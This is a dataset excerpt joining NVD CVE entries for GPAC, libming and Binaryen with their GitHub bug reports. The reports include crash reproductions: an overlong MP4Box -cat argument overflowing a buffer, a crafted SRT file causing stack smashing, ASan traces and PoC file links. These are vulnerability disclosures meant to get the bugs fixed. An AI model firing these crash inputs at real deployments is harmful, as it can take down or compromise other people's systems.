[ { "criteria": "cpe:2.3:a:gpac_project:gpac::::::::", "matchCriteriaId": "B4ED3B4A-F8B8-4E70-BDF7-811129A50B0F", "versionEndExcluding": null, "versionEndIncluding": "0.7.1", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:debian:debian_linux:8.0:::::::", "matchCriteriaId": "C11E6FB0-C8C0-4527-9AA0-CB9B316F8F43", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:16.04::::lts:::", "matchCriteriaId": "F7016A2A-8365-4F1A-89A2-7A19F2BCAE5B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.04::::lts:::", "matchCriteriaId": "23A7C53F-B80F-4E6A-AFA9-58EEA84BE11D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.10:::::::", "matchCriteriaId": "07C312A0-CD2C-4B9C-B064-6409B25C278F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/gpac/gpac/issues/1187	[ "Exploit", "Third Party Advisory" ]	github.com	[ "gpac", "gpac" ]	There is a buffer overflow issue in cat_multiple_files () function, fileimport.c GF_Err cat_multiple_files(GF_ISOFile dest, char fileName, u32 import_flags, Double force_fps, u32 frames_per_sample, char tmp_dir, Bool force_cat, Bool align_timelines, Bool allow_add_in_command) { …… if (sep) { strcpy(cat_enum.szOpt, sep); // buffer overflow here. sep[0] = 0; } …… } root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# ./MP4Box -cat cat.txt:szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2 -add overview.srt overview.mp4 Timed Text (SRT) import - text track 580 x 436, font Serif (size 18) Segmentation fault (core dumped)	buffer overflow issue 4#	https://api.github.com/repos/gpac/gpac/issues/1187/comments	2	2018-12-22T02:47:42Z	2022-08-25T08:34:06Z	https://github.com/gpac/gpac/issues/1187	393,636,571	1,187
CVE-2018-20763	2019-02-06T23:29:00.417	In GPAC 0.7.1 and earlier, gf_text_get_utf8_line in media_tools/text_import.c in libgpac_static.a allows an out-of-bounds write because of missing szLineConv bounds checking.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/1c449a34fe0b50aaffb881bfb9d7c5ab0bb18cdd" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1188" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:gpac_project:gpac::::::::", "matchCriteriaId": "B4ED3B4A-F8B8-4E70-BDF7-811129A50B0F", "versionEndExcluding": null, "versionEndIncluding": "0.7.1", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:debian:debian_linux:8.0:::::::", "matchCriteriaId": "C11E6FB0-C8C0-4527-9AA0-CB9B316F8F43", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:16.04::::lts:::", "matchCriteriaId": "F7016A2A-8365-4F1A-89A2-7A19F2BCAE5B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.04::::lts:::", "matchCriteriaId": "23A7C53F-B80F-4E6A-AFA9-58EEA84BE11D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.10:::::::", "matchCriteriaId": "07C312A0-CD2C-4B9C-B064-6409B25C278F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/gpac/gpac/issues/1188	[ "Exploit", "Third Party Advisory" ]	github.com	[ "gpac", "gpac" ]	There is a buffer overflow issue in gf_text_get_utf8_line () function, text_import.c in line 429 of gf_text_import_srt, parameter lineSize is 2048, but in gf_text_get_utf8_line (), the size of szLineConv is 1024, so, when the size of szLine is more than 1024, the buffer of szLineConv will overflow. 429 char sOK = gf_text_get_utf8_line(szLine, 2048, srt_in, unicode_type); char gf_text_get_utf8_line(char szLine, u32 lineSize, FILE txt_in, s32 unicode_type) { …… char szLineConv[1024]; …… len = (u32) strlen(szLine); // len might be more than 1024 for (i=0; i<len; i++) { if (!unicode_type && (szLine[i] & 0x80)) { /non UTF8 (likely some win-CP)/ if ((szLine[i+1] & 0xc0) != 0x80) { szLineConv[j] = 0xc0 \| ( (szLine[i] >> 6) & 0x3 ); // j may more than 1024 here j++; szLine[i] &= 0xbf; } …… } root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# ./MP4Box -srt 0 crafted_text.srt Timed Text (SRT) import - text track 400 x 60, font Serif (size 18) * stack smashing detected : ./MP4Box terminated Aborted (core dumped) root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# gdb ./MP4Box GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.3) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./MP4Box...done. (gdb) set args -srt 0 crafted_text.srt (gdb) b text_import.c:250 No source file named text_import.c. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (text_import.c:250) pending. (gdb) r Starting program: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box -srt 0 crafted_text.srt [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Timed Text (SRT) import - text track 400 x 60, font Serif (size 18) Breakpoint 1, gf_text_get_utf8_line (szLine=0x7fffffff88e0 "1\n", lineSize=2048, txt_in=0x65d570, unicode_type=0) at media_tools/text_import.c:250 250 szLineConv[j] = 0; (gdb) c Continuing. Breakpoint 1, gf_text_get_utf8_line (szLine=0x7fffffff88e0 "00:00:12,375 --> 00:00:13,425\n", lineSize=2048, txt_in=0x65d570, unicode_type=0) at media_tools/text_import.c:250 250 szLineConv[j] = 0; (gdb) c Continuing. Breakpoint 1, gf_text_get_utf8_line ( szLine=0x7fffffff88e0 "hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello wo"..., lineSize=2048, txt_in=0x65d570, unicode_type=0) at media_tools/text_import.c:250 250 szLineConv[j] = 0; (gdb) p j $1 = 1729 (gdb) c Continuing. stack smashing detected *: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box terminated Program received signal SIGABRT, Aborted. 0x00007ffff72b7c37 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) Guoxiang Niu, EaglEye Team	buffer overflow issue 5#	https://api.github.com/repos/gpac/gpac/issues/1188/comments	2	2018-12-22T03:05:37Z	2019-04-19T08:57:13Z	https://github.com/gpac/gpac/issues/1188	393,637,600	1,188
CVE-2019-7581	2019-02-07T18:29:00.193	The parseSWF_ACTIONRECORD function in util/parser.c in libming through 0.4.8 allows remote attackers to have unspecified impact via a crafted swf file that triggers a memory allocation failure, a different vulnerability than CVE-2018-7876.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/173" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:libming:libming::::::::", "matchCriteriaId": "47C3E495-3E11-4C91-B3B9-C479BF492011", "versionEndExcluding": null, "versionEndIncluding": "0.4.8", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" }, { "cpeMatch": [ { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:16.04.4::::lts::x64:*", "matchCriteriaId": "E048F636-E613-4278-9A11-1FCF7219B1FE", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false } ], "negate": false, "operator": "OR" } ], "operator": "AND" } ]	https://github.com/libming/libming/issues/173	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "libming", "libming" ]	version: master(commit 50098023446a5412efcfbd40552821a8cba983a6) command: listswf $FILE OS: Ubuntu 16.04.4 LTS 64bit ``` $ ./install-asan/bin/listswf poc>/dev/null header indicates a filesize of 808464488 but filesize is 430 Stream out of sync after parse of blocktype 24 (SWF_PROTECT). 33 but expecting 51. ==40038==WARNING: AddressSanitizer failed to allocate 0xfffffffffffcd800 bytes ==40038==AddressSanitizer's allocator is terminating the process instead of returning 0 ==40038==If you don't like this behavior set allocator_may_return_null=1 ==40038==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:147 "((0)) != (0)" (0x0, 0x0) #0 0x7f9ab5b8b631 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa0631) #1 0x7f9ab5b905e3 in __sanitizer::CheckFailed(char const, int, char const, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa55e3) #2 0x7f9ab5b08425 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x1d425) #3 0x7f9ab5b8e865 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa3865) #4 0x7f9ab5b0db4d (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22b4d) #5 0x7f9ab5b835d2 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x985d2) #6 0x433465 in parseSWF_ACTIONRECORD /home/wdw/experiment/aflgo/libming/util/parser.c:1142 #7 0x42d6de in parseSWF_CLIPACTIONRECORD /home/wdw/experiment/aflgo/libming/util/parser.c:386 #8 0x42da81 in parseSWF_CLIPACTIONS /home/wdw/experiment/aflgo/libming/util/parser.c:408 #9 0x4443a3 in parseSWF_PLACEOBJECT2 /home/wdw/experiment/aflgo/libming/util/parser.c:2665 #10 0x419c15 in blockParse /home/wdw/experiment/aflgo/libming/util/blocktypes.c:145 #11 0x415a68 in readMovie /home/wdw/experiment/aflgo/libming/util/main.c:269 #12 0x41624e in main /home/wdw/experiment/aflgo/libming/util/main.c:354 #13 0x7f9ab522282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #14 0x401aa8 in _start (/home/wdw/experiment/aflgo/libming/install-asan/bin/listswf+0x401aa8) ``` Download: [poc](https://github.com/waugustus/poc/blob/master/libming/memory-allocate-failure_parser.c-1142)	Memory allocation failure in parseSWF_ACTIONRECORD (parser.c: 1142), different from #109	https://api.github.com/repos/libming/libming/issues/173/comments	2	2019-01-17T09:18:12Z	2019-03-09T02:21:40Z	https://github.com/libming/libming/issues/173	400,178,750	173
CVE-2019-7582	2019-02-07T18:29:00.240	The readBytes function in util/read.c in libming through 0.4.8 allows remote attackers to have unspecified impact via a crafted swf file that triggers a memory allocation failure.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/172" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:libming:libming::::::::", "matchCriteriaId": "47C3E495-3E11-4C91-B3B9-C479BF492011", "versionEndExcluding": null, "versionEndIncluding": "0.4.8", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" }, { "cpeMatch": [ { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:16.04.4::::lts::x64:*", "matchCriteriaId": "E048F636-E613-4278-9A11-1FCF7219B1FE", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false } ], "negate": false, "operator": "OR" } ], "operator": "AND" } ]	https://github.com/libming/libming/issues/172	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "libming", "libming" ]	version: master(commit 50098023446a5412efcfbd40552821a8cba983a6) command: listswf $FILE OS: Ubuntu 16.04.4 LTS 64bit ``` $ ./install-asan/bin/listswf poc >/dev/null header indicates a filesize of 1995 but filesize is 1916 ==19625==WARNING: AddressSanitizer failed to allocate 0xfffffffffffffffe bytes ==19625==AddressSanitizer's allocator is terminating the process instead of returning 0 ==19625==If you don't like this behavior set allocator_may_return_null=1 ==19625==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:147 "((0)) != (0)" (0x0, 0x0) #0 0x7f9290d80631 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa0631) #1 0x7f9290d855e3 in __sanitizer::CheckFailed(char const, int, char const, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa55e3) #2 0x7f9290cfd425 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x1d425) #3 0x7f9290d83865 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa3865) #4 0x7f9290d02b4d (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22b4d) #5 0x7f9290d785d2 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x985d2) #6 0x44dec2 in readBytes /home/wdw/experiment/aflgo/libming/util/read.c:252 #7 0x437290 in parseSWF_DEFINEBITSJPEG2 /home/wdw/experiment/aflgo/libming/util/parser.c:1493 #8 0x419c15 in blockParse /home/wdw/experiment/aflgo/libming/util/blocktypes.c:145 #9 0x415a68 in readMovie /home/wdw/experiment/aflgo/libming/util/main.c:269 #10 0x41624e in main /home/wdw/experiment/aflgo/libming/util/main.c:354 #11 0x7f929041782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #12 0x401aa8 in _start (/home/wdw/experiment/aflgo/libming/install-asan/bin/listswf+0x401aa8) ``` Download: [poc](https://github.com/waugustus/poc/blob/master/libming/memory-allocate-failure_read.c-252)	Memory allocation failure in readBytes (read.c:252)	https://api.github.com/repos/libming/libming/issues/172/comments	2	2019-01-17T09:17:38Z	2019-03-09T02:21:54Z	https://github.com/libming/libming/issues/172	400,178,531	172
CVE-2019-7662	2019-02-09T16:29:00.250	An assertion failure was discovered in wasm::WasmBinaryBuilder::getType() in wasm-binary.cpp in Binaryen 1.38.22. This allows remote attackers to cause a denial of service (failed assertion and crash) via a crafted wasm file.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.1, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:C", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1872" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:webassembly:binaryen::::::::", "matchCriteriaId": "DCFD315B-77AA-49CB-B137-824C51EFD078", "versionEndExcluding": "65", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/WebAssembly/binaryen/issues/1872	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "WebAssembly", "binaryen" ]	Hi there, Multiple Assertion failed were discovered in wasm::WasmBinaryBuilder::getType() in wasm-binary.cpp Here are the POC files. Please use "./wasm-opt $POC" to reproduce the error. [POC.zip](https://github.com/WebAssembly/binaryen/files/2763048/POC.zip) $git log ``` commit d24427dcc8cd6e0dbcd8c302eb2e8a5d0d6fdead Author: Alon Zakai <[email protected]> Date: Tue Jan 15 13:20:05 2019 -0800 Code style improvements (#1868) * Use modern T p = v; notation to initialize class fields * Use modern X() = default; notation for empty class constructors ``` The output was shown as follow: ``` wasm-opt: /binaryen/src/wasm/wasm-binary.cpp:849: wasm::Type wasm::WasmBinaryBuilder::getType(): Assertion `false' failed. Aborted Illegal instruction ``` The ASAN dumps the stack trace as follows: ``` #0 0x5e81a9 in __sanitizer_print_stack_trace /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_stack.cc:38 #1 0x9c0984 in wasm::WasmBinaryBuilder::getType() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:849:3 #2 0x9db431 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1793:18 #3 0x9d20eb in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1679:38 #4 0x9cda96 in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #5 0x9dc509 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1822:5 #6 0x9d20eb in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1679:38 #7 0x9cd93c in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #8 0x9dc509 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1822:5 #9 0x9d20eb in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1679:38 #10 0x9cda96 in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #11 0x9c8636 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1838:3 #12 0x9ddd26 in wasm::WasmBinaryBuilder::visitIf(wasm::If) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1863:18 #13 0x9d2baf in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1680:38 #14 0x9cda96 in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #15 0x9dc509 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1822:5 #16 0x9d20eb in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1679:38 #17 0x9cda96 in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #18 0x9dc509 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1822:5 #19 0x9d20eb in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1679:38 #20 0x9cd93c in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #21 0x9def9f in wasm::WasmBinaryBuilder::visitLoop(wasm::Loop) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1884:3 #22 0x9d2abc in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1681:38 #23 0x9cda96 in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #24 0x9c8636 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1838:3 #25 0x99de66 in wasm::WasmBinaryBuilder::readFunctions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1121:20 #26 0x97ee40 in wasm::WasmBinaryBuilder::read() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:678:41 #27 0xa82dab in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:52:10 #28 0xa855a9 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:71:5 #29 0x627a77 in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm-opt.cpp:144:14 #30 0x7fc826a1d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #31 0x51c5a8 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm-opt+0x51c5a8) ```	Assertion failed were discovered in wasm::WasmBinaryBuilder::getType() in wasm-binary.cpp	https://api.github.com/repos/WebAssembly/binaryen/issues/1872/comments	1	2019-01-16T07:22:23Z	2019-01-19T13:30:49Z	https://github.com/WebAssembly/binaryen/issues/1872	399,678,485	1,872
